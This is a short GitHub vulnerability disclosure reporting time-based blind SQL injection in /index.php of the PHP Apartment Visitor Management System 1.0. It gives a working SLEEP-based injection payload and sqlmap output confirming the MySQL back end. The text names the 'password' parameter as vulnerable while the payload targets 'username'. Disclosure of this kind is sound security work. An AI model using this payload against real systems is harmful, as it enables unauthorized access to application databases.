

main

...

CVE_demo / 2022 / Apartment Visitor Management System-SQL injections.md



anx0ing Create Apartment Visitor Management System-SQL injections.md

History

1 contributor



43 lines (18 sloc) 642 Bytes

...

Apartment Visitor Management System-SQL injections

Date:

2022-08/06

Exploit Author:

anx0ing@gmail.com

Vendor Homepage:

<https://www.sourcecodester.com>

Software Link:

<https://www.sourcecodester.com/php-apartment-visitor-management-system-source-code>

Version:

1.0

/index.php

password Parameters have SQL injections

POC

```
login=&password=admin123&username=' AND (SELECT 4955 FROM (SELECT(SLEEP(5)))RSzF)
AND 'htiy'='htiy
```

```
sqlmap identified the following injection point(s) with a total of 79 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: login=&password=admin123&username=' AND (SELECT 4955 FROM (SELECT(SLEEP(5)))RSzF) AND 'htiy'='htiy
---
[00:14:14] [INFO] the back-end DBMS is MySQL
[00:14:14] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to pr
event potential disruptions
web application technology: PHP 7.4.3, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
```